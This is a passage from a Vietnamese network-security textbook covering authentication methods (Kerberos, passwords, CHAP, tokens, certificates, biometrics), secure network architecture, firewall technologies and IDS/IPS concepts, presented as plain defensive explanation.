Khi nhận được 2 gói tin E và F, người sử dụng đã có đủ thông tin để nhận thực với

máy chủ cung cấp dịch vụ SS. Máy khách gửi tới SS 2 gói tin:

Gói tin E thu được từ bước trước (trong đó có "Khóa phiên máy chủ/máy khách"

mật mã hóa với khóa bí mật của SS).

Gói tin G: phần nhận thực mới, bao gồm chỉ danh người sử dụng, thời điểm yêu

cầu và được mật mã hóa với "Khóa phiên máy chủ/máy khách".

SS giải mã "Vé" bằng khóa bí mật của mình và gửi gói tin sau tới người sử dụng để

xác nhận định danh của mình và khẳng định sự đồng ý cung cấp dịch vụ:

Gói tin H: Thời điểm trong gói tin yêu cầu dịch vụ cộng thêm 1, mật mã hóa với

"Khóa phiên máy chủ/máy khách".

Máy khách giải mã gói tin xác nhận và kiểm tra thời gian có được cập nhật chính

xác. Nếu đúng thì người sử dụng có thể tin tưởng vào máy chủ SS và bắt đầu gửi

yêu cầu sử dụng dịch vụ.

Máy chủ cung cấp dịch vụ cho người sử dụng.

3.2.3. Nhược điểm

Tồn tại một điểm yếu: Nếu máy chủ trung tâm ngừng hoạt động thì mọi hoạt động

sẽ ngừng lại. Điểm yếu này có thể được hạn chế bằng cách sử dụng nhiều máy chủ

Kerberos.

Giao thức đòi hỏi đồng hồ của tất cả những máy tính liên quan phải được đồng bộ.

Nếu không đảm bảo điều này, cơ chế nhận thực giữa trên thời hạn sử dụng sẽ

không hoạt động. Thiết lập mặc định đòi hỏi các đồng hồ không được sai lệch quá

10 phút.

Cơ chế thay đổi mật khẩu không được tiêu chuẩn hóa.

Page 39: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

39

3.3. Xác thực dựa trên username/password

- Sự kết hợp của một user name và password là cách xác thực cơ bản nhất và lâu

đời nhất. Hầu hết các dòng hệ điều hành máy tính trên thế giới đều sử dụng

phương pháp chứng thực trừ khi nó không được thiết kế để phục vụ nhiều người

dung. Mỗi hệ điều hành đều có chính sách về việc tạo và duy trì mật khẩu của

người dung, nhưng thông thường các chính sách đó sẽ qui định một hoặc một vài

những thông số sau:

Chiều dài mật khẩu (thường tối thiểu là 6)

Độ phức tạp (mật khẩu phải bao gồm chữ hoa, chứ thường, số, ký tự đặc

biệt)

Mật khẩu không được là các từ có trong từ điển (ví dụ : university,

security…)

Mật khẩu không được chứa các thành phần của tên người dung (ví dụ:

trường hợp người dung là Anhdh, mật khẩu là Anhdh@123 là không thỏa

mãn)

.v.v.

3.4. CHAP (Challenge Handshake Authentication Protocol)

- Một trong những phương pháp để bảo mật thông tin trong truy cập từ xa đó là

CHAP. Chap là giao thức xác thực người dung truy cập từ xa trong các phiên kết

nối PPP (Point-to-Point Protocol).

- CHAP xác thực dựa trên nguyên tắc bắt tay 3 bước:

Page 40: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

40

Nguyên tắc xác thực 3 bước của CHAP

Nguyên tắc này có thể mô tả như sau:

- Khi muốn kết nối PPP đến HQ, Remote User nó sẽ gửi 1 gói tin xin thiết lập kết

nối, gói tin này có chứa thông tin về tên user (hostname).

- Central-Site sẽ kiểm tra database của nó để tìm tên tài khoản và mật khẩu của

Remote User (ở đây mật khẩu của user: School là Student). Sau đó, HQ sẽ sinh ra

1 thông điệp ngẫu nhiên, gọi là Challege Message và gửi nó trở lại cho Remote

User. Đồng thời, HQ dung hàm băm 1 chiều MD5 để mã hóa cả mật khẩu của

Remote User và Challenge Message thành một chuỗi giá trị băm (Hash Value 1 )

- Remote User nhận được Challenge Message cũng sử dụng hàm băm một chiều

MD5 để mã hóa mật khẩu của mình cung Challege Message để được chuối giá trị

băm (Hash Value 2). Sau đó Remote User gửi gói tin chứa chuỗi giá trị băm này

(hash value 2) tới HQ.

- HQ kiểm tra 2 giá trị băm (Hash Value 1 và 2) này, nếu khớp nhau thì đồng ý

thiết lập kết nối và gửi gói tin thông báo kết nối cho Remote User. Ngược lại, kết

nối bị từ chối.

Rõ ràng, với CHAP, mật khẩu của người dung không được truyền trên môi trường

mạng dưới dạng “cleartext”, tránh được các kiểu tấn công nghe lén, bắt gói tin…

3.5. TOKEN

Tokens là phương tiện vật lý như các the thông minh (smart cards) hoặc the đeo

của nhân viên (ID badges) chứa thông tin xác thực. Tokens có thể lưu trữ số nhận

dạng cá nhân-personal identification numbers (PINs), thông tin về người dung,

hoặc mật khẩu... Các thông tin trên token chỉ có thể được đọc và xử lý bởi các thiết

bị đặc dụng, ví dụ như the smart card được đọc bởi đầu đọc smart card gắn trên

máy tính, sau đó thông tin này được gửi đến máy chủ xác thực (authenticating

server). Tokens chứa chuỗi text hoặc giá trị số duy nhất và thông thường mỗi giá

trị này chỉ sử dụng một lần.

3.6. Chứng chỉ số (Certificates)

3.6.1. Chứng chỉ số là gì ?

Page 41: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

41

Chứng chỉ số là một tệp tin điện tử được sử dụng để nhận diện một cá nhân, một

máy chủ, một công ty, hoặc một vài đối tượng khác và gắn chỉ danh của đối tượng

đó với một khoá công khai (public key). Giống như bằng lái xe, hộ chiếu, chứng

minh thư hay những giấy tờ nhận diện cá nhân thông thường khác, chứng chỉ số

cung cấp bằng chứng cho sự nhận diện của một đối tượng. Hệ mã khoá công khai

sử dụng chứng chỉ số để giải quyết vấn đề mạo danh.

Để lấy được bằng lái xe, bạn cần phải đăng ký với Phòng cảnh sát giao thông. Họ

sẽ cấp cho bạn bằng lái xe sau khi đã xác định các thông tin về bạn như: có khả

năng lái xe, họ và tên, địa chỉ, và những thông tin cần thiết khác. Để lấy được

chứng chỉ số bạn cũng cần phải thực hiện các công việc đăng ký tương tự như vậy.

Nơi có thể chứng nhận những thông tin của bạn là chính xác được gọi là Nhà cấp

chứng chỉ số (Certificate Authority viết tắt là CA), một tổ chức có thẩm quyền xác

nhận chỉ danh và cấp các chứng chỉ số. Họ có thể là một thành phần thứ ba đứng

độc lập hoặc các tổ chức tự vận hành phần mềm cấp chứng chỉ số của mình. Các

phương pháp để xác định chỉ danh phụ thuộc vào các chính sách mà CA đặt ra.

Chính sách lập ra phải đảm bảo việc cấp chứng chỉ số phải đúng đắn, ai được cấp

và mục đích dung vào việc gì. Thông thường, trước khi cấp một chứng chỉ số, CA

sẽ công bố các thủ tục cần phải thực hiện cho các loại chứng chỉ số.

Trong chứng chỉ số chứa một khoá công khai được gắn với một tên duy nhất của

một đối tượng (như tên của một nhân viên hoặc server). Chứng chỉ số giúp ngăn

chặn việc sử dụng khoá công khai cho việc giả mạo. Chỉ có khoá công khai được

chứng thực bởi chứng chỉ số mới làm việc với khoá riêng (private key) tương ứng

được sở hữu bởi đối tượng mà có chỉ danh đã được chứng thực nằm trong chứng

chỉ số.

Ngoài khoá công khai, một chứng chỉ số còn chứa thêm tên của đối tượng mà nó

nhận diện, hạn dung, tên của CA cấp chứng chỉ số đó, mã số thứ tự, và những

thông tin khác. Điều quan trọng nhất là một chứng chỉ số luôn luôn chứa chữ ký số

của CA đã cấp chứng chỉ số đó. Nó cho phép chứng chỉ số như đã được đóng dấu

để cho người sử dụng biết và tin cậy vào CA.

Chứng chỉ số là một tệp tin điện tử được sử dụng để nhận diện một cá nhân, một

máy chủ, một công ty, hoặc một vài đối tượng khác và gắn chỉ danh của đối tượng

đó với một khoá công khai (public key)

3.6.2. Lợi ích khí sử dụng chứng chỉ số

Page 42: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

42

Việc kết nối qua mạng Internet hiện nay chủ yếu sử dụng giao thức TCP/IP.

TCP/IP cho phép các thông tin được gửi từ một máy tính này tới một máy tính

khác thông qua một loạt các máy trung gian hoặc các mạng riêng biệt trước khi nó

có thể đi tới được đích. Tuy nhiên, chính vì tính linh hoạt này của giao thức

TCP/IP đã tạo cơ hội cho “bên thứ ba” có thể thực hiện các hành động bất hợp

pháp, cụ thể là:

- Nghe trộm (Eavesdropping). Thông tin vẫn không hề bị thay đổi, nhưng sự bí mật

của nó thì không còn. Ví dụ, một ai đó có thể biết được số the tín dụng, các thông

tin cần bảo mật của bạn.

- Giả mạo (Tampering). Các thông tin trong khi truyền đi bị thay đổi hoặc thay thế

trước khi đến người nhận. Ví dụ, một ai đó có thể sửa đổi một đơn đặt hàng hoặc

thay đổi lý lịch của một cá nhân.

- Mạo danh (Impersonation). Thông tin được gửi tới một cá nhân mạo nhận là

người nhận hợp pháp. Có hai hình thức mạo danh sau:

+ Bắt chước (Spoofing). Một cá nhân có thể giả vờ như một người khác. Ví dụ,

dung địa chỉ mail của một người khác hoặc giả mạo một tên miền của một trang

web.

+ Xuyên tạc (Misrepresentation). Một cá nhân hay một tổ chức có thể đưa ra

những thông tin không đúng sự thật về họ. Ví dụ, có một trang web mạo nhận

chuyên về kinh doanh trang thiết bị nội thất, nhưng thực tế nó là một trang chuyên

ăn cắp mã the tín dụng và không bao giờ gửi hàng cho khách.

Bình thường, mọi người vẫn sử dụng mạng Internet để có thể liên lạc với nhau,

nhưng thông tin phải đi qua một loạt các máy trung gian. Trong số đó có một số

người cần bảo mật các thông tin cá nhân và kinh doanh của họ. May mắn thay, có

một vài chuẩn chung hiện nay được biết như hệ mã khoá công khai (public key

cryptography) có thể giải quyết được vấn đề này. Hệ mã khoá công khai với chứng

chỉ số và các công nghệ liên quan có thể thực hiện các nhiệm vụ sau:

- Mã hoá và giải mã: cho phép hai đối tác giao thiệp với nhau có thể che giấu thông

tin mà họ gửi cho nhau. Người gửi mã hoá các thông tin trước khi gửi chúng đi,

người nhận sẽ giải mã trước khi đọc. Trong khi truyền, các thông tin sẽ không bị

lộ.

Page 43: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

43

- Chống lại sự giả mạo: cho phép người nhận có thể kiểm tra thông tin có bị thay

đổi hay không. Bất kỳ một sự thay đổi hay thay thế nội dụng của thông điệp gốc

đều sẽ bị phát hiện.

- Xác thực: cho phép người nhận có thể xác định chỉ danh của người gửi.

- Không thể chối cãi nguồn gốc: ngăn chặn người gửi chối cãi nguồn gốc tài liệu

mình đã gửi.

3.7. Sinh trắc học (Biometrics)

Sinh trắc học dung để chỉ nhánh nghiên cứu các cách dung các dấu hiệu của các bộ

phận trong cơ thể (như dấu tay, ảnh mặt, ảnh mắt, DNA, …) để nhận ra (identify)

một cá thể. Và sinh trắc học được áp dụng trong bảo mật hệ thống như một phương

pháp xác thực cao cấp. Bảo mật sinh trắc học dựa trên những đặc điểm riêng biệt

của mỗi cơ thể để xác định danh tính cá nhân và trên lý thuyết, được coi là có thể

đạt độ chính xác 100%. Tuy nhiên, nhiều vấn đề đang tồn tại đã khiến công nghệ

này chưa được triển khai rộng rãi. Đó là vấn đề về mặt hạ tầng công nghệ, về chi

phí triển khai, và về khả năng nhận dạng sai.

3.8. Xác thực kết hợp nhiều nhân tố (Multi-Factor)

Như tên gọi của cách xác thực này, xác thực dựa trên sự kết hợp của nhiều yếu tố.

Các yếu tố có rất nhiều, nhưng có thể tóm gọn trong ba nhóm sau:

- “Cái bạn biết”: ví dụ: mật khẩu, PIN…

- “Cái bạn có”: ví dụ: Token, Smart Card…

- “Bạn là ai”: ví dụ: dấu vân tay, võng mạc, giọng nói…

Ví dụ về xác thực kết hợp nhiều nhân tố là khi bạn rút tiền ở máy ATM, bạn vừa

phải đưa the (cái bạn có) vào hệ thống, vừa phải nhập mật khẩu (cái bạn biết).

Rõ ràng, việc sử dụng phương pháp xác thực kết hợp cho phép xác thực đa lớp, an

toàn hơn rất nhiều. Tuy nhiên, cũng không nên quá lạm dụng, tránh sự bất tiện gây

ra cho người dung.

Page 44: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

44

3.9. Xác thực lẫn nhau (Mutual Authentication)

- Là kiểu xác thực mà mỗi thành phần tham gia đều phải xác thực lẫn nhau trước

khi kết nối hoặc truy cập được thiết lập.

- Phương pháp xác thực lẫn nhau cho phép an tâm rằng kết nối của bạn không bị

tấn công Man In The Middle (MITM) hay đang bị chuyển tiếp tới một ai đó khác.

4. Giám sát thống kê (Accounting)

Giám sát thống kê là quá trình theo dõi (tracking), ghi lại (logging) các sự kiện, các

hoạt động, các lỗi, các truy cập tới hệ thống… ví dụ: Tại sao máy chủ lại bị

shutdown, vào chính xác thời điểm nào, ai là người truy cập cuối cung, anh ta đã

làm gì trên hệ thống…

Chức năng giám sát, thống kê được tích hợp trong hầu hết các hệ điều hành, tuy

nhiên, người quản trị thường phải tự xác định loại đối tượng, sự kiện nào cần theo

dõi.

Việc theo dõi và quản lý hệ thống thường gắn liền với việc đọc và phân tích log

file.

Page 45: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

45

PHẦN 2

AN NINH HẠ TẦNG

Page 46: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

46

CHƯƠNG 1: MÔ HÌNH MẠNG BẢO MẬT

1. Lời mở đầu

Trước tình hình về an ninh mạng hiện nay, việc xây dựng một mô hình mạng hoạt

động hiệu quả đồng thời đảm bảo tính an ninh là một nhu cầu không thể thiếu đối

với tất cả các hệ thống từ nhỏ đến lớn. Tuy nhiên, việc xây dựng được 1 mô hình

mạng cụ thể phụ thuộc rất nhiều vào nhu cầu sử dụng dịch vụ của doanh nghiệp,

khả năng tài chính, trình độ quản trị… Trong nội dung tài liệu tổng quan an ninh

mạng này, tôi xin giới thiệu một mô hình mạng tương đối đầy đủ những khía cạnh

an ninh. Qua đó, giúp cho người đọc có cái nhìn tổng quan về các thành phần của

một hệ thống đảm bảo an ninh.

2. Phân đoạn mạng (Segmentation)

Network Segments

Toàn bộ hệ thống bên trong nội bộ nên được phân đoạn mạng thành những mạng

con. Việc phần đoạn mạng này có thể thực hiện bằng các bộ định tuyến (Router),

Switch hay tường lửa nhằm cung cấp các lợi ích sau:

Page 47: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

47

Phân tách các vung chứa tài nguyên quan trọng (Database, Application…)

với những phần khác (người dung, tài nguyên chia se…)

Áp dụng chính sách an ninh khác nhau với từng vung. (ví dụ: vung Người

dung có thể truy cập Internet, vung Database thì bị cấm…)

Cô lập từng vung sẽ giúp giảm thiểu tác hại của Virus.

Khoanh vung điểm bị lỗi dễ dàng.

Tăng hiệu năng hệ thống (giảm broadcast)

3. Các điểm truy cập (Network Access Points)

Các điểm truy cập mạng

Các điểm truy cập mạng là thành phần không thể thiếu đối với hệ thống mạng. Nó

cho phép hệ thống nội bộ của tổ chức kết nối tới hệ thống bên ngoài, và ngược lại.

Page 48: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

48

Mỗi điểm truy cập mạng đều tiềm tàng những nguy cơ về bảo mật. Việc xác định

từng điểm truy cập mạng và các nguy cơ là điều vô cung quan trọng trong việc bảo

vệ hệ thống.

4. Router và Switch

Router và Switch trong hệ thống

Nhiệm vụ chính của Router là định tuyến, đảm bảo kết nối thông suốt trong hệ

thống. Tuy nhiên, Router cũng cung cấp 1 số cơ chế bảo mật như Access Control

List (ACL) hay phân đoạn mạng (như đã nói trên).

Switch có nhiệm vụ chính là để mở rộng mạng và cung cấp một số tính năng bảo

mật như : Virtual LAN (VLAN), Port Security …

5. Tường lửa

Là trạm phòng thủ đầu tiên của hệ thống. Nhiệm vụ chính của tường lửa là ngăn

chặn các truy cập trái phép từ bên ngoài vào hệ thống nội bộ và ngược lại. Ngoài

ra, tường lửa còn có tác dụng chia hệ thống mạng thành các vung (Zones) với các

chính sách an ninh khác nhau.

Page 49: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

49

6. Thiết bị phát hiện/ngăn chặn xâm nhập

Page 50: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

50

IDS/IPS (Instrusion Detection System/ Instrucsion Prevention System) là thiết bị

cho phép phát hiện và ngăn chặn tấn công dựa trên một số phương thức khác nhau.

IDS/IPS có 2 loại: Network-based IDS và Host-based IDS.

7. Truy cập từ xa (Remote Access)

Nếu tổ chức luôn có những người dung di động, hoặc có đối tác ở xa, nhu cầu truy

cập từ xa là 1 nhu cầu không thể thiếu. Để đảm bảo an ninh, chúng ta nên xây dựng

mô hình truy cập từ xa sử dụng công nghệ mạng riêng ảo.

Công nghệ này cho phép thiết lập kết nối an toàn từ người dung, tổ chức ở xa vào

hệ thống nội bộ thông qua 1 kênh truyền ảo trên môi trường mạng dung chung

(Internet).

Tuy nhiên, cũng có thể sử dụng công nghệ truy cập từ xa cũ hơn, đó là công nghệ

quay số Dial-in.

Page 51: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

51

8. Security Event Management (Thiết bị quản lý sự kiện tập trung)

Security Event Management (SEM) là thiết bị hỗ trợ cho IDS/IPS cũng như an

ninh hệ thống nói chung. SEM có khả năng đọc và tổng hợp log file của tất cả các

thiết bị trong hệ thống. Từ đó, phân tích và đưa ra những cảnh báo về nguy cơ bảo

mật cho người quản trị.

9. Hệ thống dò tìm điểm yếu (Vulnerability Management)

Thường là các công cụ được quản trị hệ thống sử dụng để dò phát hiện những điểm

yếu, những lỗi bảo mật mà hacker có thể lợi dụng để khai thác, thâm nhập hệ

thống. Qua đó, người quản trị sẽ đưa ra những giải pháp sửa lỗi, tăng cường an

ninh cho hệ thống.

Page 52: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

52

Hệ thống dò tìm điểm yếu

Page 53: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

53

CHƯƠNG 2: TƯỜNG LỬA

1. Khái niệm

- Tường lửa là thiết bị được dung phổ biến nhất để bảo vệ hệ thống mạng nội bộ

(internal network) trước sự tấn công từ bên ngoài. Khi được cấu hình chính xác, 1

tường lửa có thể ngăn cản sự truy cập trái phép vào hệ thống, cũng như kiểm soát

người dung nội bộ kết nối ra bên ngoài.

- Có 3 loại công nghệ tường lửa phổ biến hiện nay, đó là:

Packet Filtering

Application Layer Gateways (Application Filtering)

Stateful Inspection (Stateful Packet Filtering)

2. Các công nghệ tường lửa

2.1. Packet Filtering (lọc gói tin)

Một tường lửa sử dụng công nghệ Packet Filtering cho phép hay từ chối truy cập

dựa trên cổng dịch vụ và/hoặc địa chỉ IP. Thông thường loại tường lửa này thường

có 1 trong 2 luật (rules) mặc định sau:

Allow by Default: Luật này cho phép tất cả giao thông mạng đi qua tường

lửa ngoại trừ những giao thông được người quản trị thiết lập cụ thể.

Deny by Default: Luật này cấm tất cả giao thông mạng đi qua tường lửa

ngoại trừ những giao thông được người quản trị thiết lập để cho phép.

Rõ ràng, luật “Deny by Default” là chính sách an ninh tốt nhất bởi vì nó hạn chế

tới mức thấp nhất khả năng truy cập trái phép vào hệ thống. Thường thi người quản

trị sẽ sử dụng luật này để cấm tất cả các cổng dịch vụ, ngoại trừ những dịch vụ thật

cần thiết đối với nhu cầu tổ chức. Ví dụ, một người quản trị sẽ cấu hình cấm tất cả

các truy cập từ bên ngoài vào vung phi quân sự (DMZ) ngoại trừ cổng 80 dành cho

dịch vụ HTTP nếu tổ chức có nhu cầu xuất bản website.

Page 54: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

54

Như đã nhắc đến ở trên, một tường lửa hoạt động theo 2 hướng. Nó có thể đồng

thời ngăn chặn những truy cập từ bên ngoài hệ thống và kiểm soát người dung kết

nối ra bên ngoài. Ý thứ hai rất có ích trong trường hợp giả thiết sau: Đó là khi 1

máy tính trong mạng nội bộ bị cài Trojan Horse. Sau khi cài đặt thành công trên

máy tính nạn nhân, các chương trình Trojan horse thường phải kết nối đến một

cổng nào đó trên máy Hacker để truyền thông tin về. Bằng cách cấm truy cập từ hệ

thống nội bộ đến các cổng dịch vụ bên ngoài, tường lửa đã vô hiệu hóa tác dụng

của Trojan Horse (mặc du máy tính bên trong hệ thống vẫn nhiễm)

Vậy cổng dịch vụ là gì ?

Trước tiên, chúng ta cần biết rằng có hơn 216 (65,535) cổng; trong đó, các cổng từ

0 đến 1023 được gọi là “well-known ports” (cổng thông dụng). Các cổng này

thường được sử dụng cho các dịch vụ mạng cụ thể. Có thể tóm tắt 1 số cổng thông

dụng sau:

20 FTP Active Mode Control Port

21 FTP Active Mode Data Port

22 Secure Shell (SSH)

23 Telnet

25 Simple Mail Transfer Protocol (SMTP)

80 Hypertext Transfer Protocol (HTTP)

110 Post Office Protocol 3 (POP3)

119 Network News Transfer Protocol (NNTP)

143 Internet Message Access Protocol (IMAP)

443 Secure Sockets Layer (SSL) (HTTPS)

Các cổng dịch vụ từ 1024 trở lên sẽ là Registered Ports hoặc Dynamic/Private

Ports.

Page 55: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

55

Như vậy, một cổng là một điểm kết nối đến thiết bị. Cổng có thể là thực thể vật lý

như các cổng serial, cổng parallel hay là một đối tượng logic. Cổng logic là các

cổng được sử dụng bởi các giao thức như một điểm kết nối đến 1 thiết bị mạng. Vì

một thiết bị mạng có thể có hàng ngàn kết nối tới nó cung lúc, các cổng logic được

sử dụng để phân biệt giữa các kết nối đó.

Công nghệ Packet Filtering dựa trên cổng dịch vụ (cổng logic) và địa chỉ IP để cho

phép/ngăn cấm truy cập. Công nghệ này có cả điểm mạnh và yếu. Một trong những

điểm mạnh dễ nhận thấy là tốc độ. Vì chỉ có phần tiêu đề (header) của gói tin

(packet) được phân tích dựa trên một bảng luật (table of rules) khá đơn giản, nên

công nghệ này xử lý thông tin rất nhanh. Một điểm mạnh nữa của công nghệ này

đó là tính dễ cấu hình, dễ quản lý. Các luật được định nghĩa đối với loại tường lửa

này khá đơn giản, rõ ràng nên việc cấu hình và quản lý rất thuận tiện. Ngoài ra, hầu

hết các dòng thiết bị định tuyến đều được tích hợp công nghệ này (Access Control

List).

Page 56: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

56

Tuy nhiên, công nghệ này còn có những điểm hạn chế nhất định. Công nghệ này

không phải là một công nghệ thông minh cho lắm. Bởi vì khi, một cổng dịch vụ

nào đó được mở, nó sẽ luôn mở, du có phiên kết nối hay không. Nghĩa là luôn tồn

tại những lỗ hổng mà hacker có thể lợi dụng khai thác. Để giải thích cho luận

điểm trên, chúng ta xét ví dụ cụ thể sau: Giả sử tường lửa được cấu hình cho phép

người dung từ nội bộ có thể duyệt web bên ngoài (mở cổng 80). Trên thực tế, trên

máy người dung đã mở 1 cổng bất kì (cao hơn 1023, ví dụ 2031) để nhận thông tin

trả về từ máy chủ web bên ngoài. Nhưng tường lửa dạng Packet Filtering không

thể biết chính xác rằng chỉ nên mở duy nhất cổng 2031 để nhận gói tin trả về, do

vậy, nó mở tất cả các cổng cao hơn 1023. Và như vậy, hacker hoàn toàn có thể lợi

dụng điểm yếu này để khai thác máy tính người dung trong mạng nội bộ.

Ngoài ra, điểm yếu nữa của công nghệ này là nó không có khả năng hiểu nội dung

của gói tin. Do đó, nếu một gói tin với tiêu đề hợp lệ, nhưng nội dung lại chứa mã

độc chẳng hạn, nó dễ dàng vượt qua được tường lửa loại này.

2.2. Application Filtering (lọc ứng dụng)

Công nghệ tường lửa thứ hai mà tôi đề cập đến là công nghệ Application Filtering

hay Application Layer Gateway. Công nghệ này được coi là an toàn hơn công nghệ

Packet Filtering vì nó phân tích toàn bộ gói tin, thay vì chỉ phần tiêu đề.

Một trong những điểm mạnh của công nghệ này là khả năng xử lý theo nội dung

gói tin. Ví dụ, tường lửa sử dụng công nghệ này có thể phát hiện ra gói tin của ứng

dụng Trojan Horse đang được gửi thông qua cổng 80 và qua đó có thế khóa kết nối

đó.

Công nghệ này được sử dụng để làm máy chủ proxy, cho phép kiểm soát nội dung

truy cập web của người dung, và tăng cường bảo mật hệ thống bằng cách giúp ẩn

danh người dung.

Rõ ràng công nghệ Application Filtering là một công nghệ khá an toàn và hiệu quả,

tuy nhiên, nó vẫn có điểm hạn chế. Ngược với công nghệ Packet Filtering, công

nghệ Application Filtering hoạt động chậm hơn, do phải kiểm tra toàn bộ gói tin và

sau đó phải xét trên một bảng luật phức tạp hơn. Cũng về vấn đề bảng luật, rõ ràng,

công nghệ này yêu cầu người quản trị phải có trình độ kỹ thuật tốt để có thể cấu

hình và quản lý các luật phức tạp hơn.

Page 57: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

57

2.3. Stateful Inspection Firewall

Là sự kết hợp của hai công nghệ tường lửa ở trên, Stateful Inpection hay Stateful

Packet Filtering được coi là thế hệ tường lửa thông minh, nó khắc phục được

những hạn chế của các loại công nghệ cũ, đồng thời tăng cường tính bảo mật. Công

nghệ Stateful Inpection không thật sự phá bỏ cấu trúc Client/Server như công nghệ

Application Filtering, do đó, nó hoạt động nhanh hơn. Nó cũng bảo mật hơn nhiều

so với công nghệ Packet Filtering dựa trên cách gói tin được xử lý.

Tính năng chính của công nghệ Stateful Inpection là khả năng kiểm soát ứng dụng

và trạng thái kết nối. Stateful Inpection kiểm tra toàn bộ gói tin ở lần truy cập đầu

tiên, nếu thỏa mãn các luật cho phép, nó sẽ lưu các thông tin về kết nối này vào 1

bảng gọi là bảng trạng thái “state table”. Sau đó, các gói tin tiếp theo chỉ việc đối

chiếu với bảng trạng thái này và được đi qua tường lửa. Khi phiên kết nối kết thúc,

tường lửa sẽ lại xóa các thông tin về kết nối đó trong bảng trạng thái. Điều này cho

phép tường lửa xử lý linh động và an toàn hơn rất nhiều so với các loại công nghệ

trước.

Page 58: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

58

Trở lại ví dụ ở trên, trong khi tường lửa dạng Packet Filtering phải mở tất cả các

cổng cao hơn 1023 từ bên ngoài vào máy tính người dung, tường lửa dạng Stateful

Inpection xem xét toàn bộ gói tin ở lần đầu tiên và ghi nhận cổng trả về là 2031, do

đó, nó chỉ mở cổng 2031 để nhận thông tin trả về. Và khi phiên kết nối kết thúc, nó

sẽ tự động đóng cổng đó lại.

Page 59: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

59

CHƯƠNG 3: THIẾT BỊ PHÁT HIỆN/NGĂN CHẶN XÂM NHẬP

1. Khái niệm

Trước tiên, chúng ta cần phân biệt rõ khái niệm IDS và IPS.

IDS (Intrusion Detection System): Hệ thống phát hiện xâm nhập

Ra đời cách đây khoảng hơn 25 năm, đúng như tên gọi của nó, IDS là một

hệ thống có khả năng phát hiện xâm nhập, qua đó ghi nhận và thông báo cho

người quản trị. Rõ ràng, nhược điểm của IDS là không có tác động trực tiếp

đến một hành vi xâm nhập nào đó và cần nhiều công sức của người quản trị.

IPS: Intrusion Prevention System: Hệ thống phát hiện và ngăn chặn xâm

nhập

Thế hệ sau của IDS-hệ thống tự động phát hiện và ngăn chặn xâm nhập IPS-

đã dần khắc phục được các mặt còn hạn chế của IDS và hoạt động hiệu quả

hơn nhiều so với thế hệ trước đó. Ngày nay, các hệ thống đều hướng đến sử

dụng giải pháp IPS thay vì IDS do đặc tính vượt trội của nó. Hơn nữa, một

IPS có thể hoạt động như một IDS bằng việc ngắt bỏ chức năng tự động

ngăn chặn xâm nhập.

Sau đây chúng ta quy ước khi nói IDS/IPS nghĩa là đề cập tới cả hai loại công nghệ

này.

Một cách ngắn gọn nhất, IDS/IPS là một thiết bị chuyên dụng có thể đọc và phân

tích nội dung các file log từ thiết bị định tuyến, tường lửa, máy chủ hay có thể lắng

nghe gói tin lưu thông trong hệ thống. Ngoài ra, IDS/IPS thường có một cơ sở dữ

liệu lưu trữ các dấu hiệu tấn công đã biết và sử dụng nó để so sánh với các hoạt

động, lưu thông hay phản ứng của hệ thống. Khi một hoạt động nào đó khớp với

một trong các dấu hiệu tấn công, IDS/IPS sẽ có cơ chế báo động và những phản

ứng khác nhau như ra lệnh cho tường lửa ngắt kết nối, shutdown máy chủ, tăng

cường các hoạt động đánh giá, kiểm tra để xác định ke tấn công… Như vậy,

IDS/IPS là hệ thống (thiết bị) có khả năng phát hiện và sau đó có thể gây khó khăn

hoặc ngăn chặn hoàn toàn cuộc tấn công hoặc những truy cập trái phép vào hệ

thống.

Page 60: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

60

2. Các loại IDS/IPS

2.1. Phân loại theo phạm vi hoạt động

Cũng như tường lửa, IDS/IPS có thể là một sản phẩm phần mềm hay một thiết bị

phần cứng. Nhưng du là phần mềm hay phần cứng, thì IDS/IPS cũng là một trong

ba loại sau:

Network-based IDS/IPS : IDS/IPS dung cho toàn mạng

Host-based IDS/IPS: IDS/IPS dung cho thiết bị (thường là máy chủ)

Application-based IDS/IPS: IDS/IPS dung cho ứng dụng

2.1.1. Network-based IDS/IPS

N-IDS/IPS là loại IDS/IPS kiểm soát mọi biểu hiện, hoạt động của mạng và tìm

kiếm các dấu hiệu tấn công.

Pros:

NIDS/IPS có thể kiểm soát toàn bộ hệ thống mạng với chỉ một hoặc một vài

thiết bị dẫn đến khả năng tiết kiệm chi phí.

Có cái nhìn tổng quan về một cuộc xâm nhập hệ thống.

Dễ dàng cấu hình và tương thích với hệ thống.

Cons:

Phản ứng lại các cuộc tấn công khá chậm.

Đối với một hệ thống lớn với lưu lượng mạng rất cao, N-IDS/IPS có nguy cơ

bỏ sót các dấu hiệu tấn công do không thể kiểm soát và phân tích được đầy

đủ lưu thông mạng.

N-IDS/IPS không có khả năng phân tích gói tin đã được mã hóa hoặc nhận

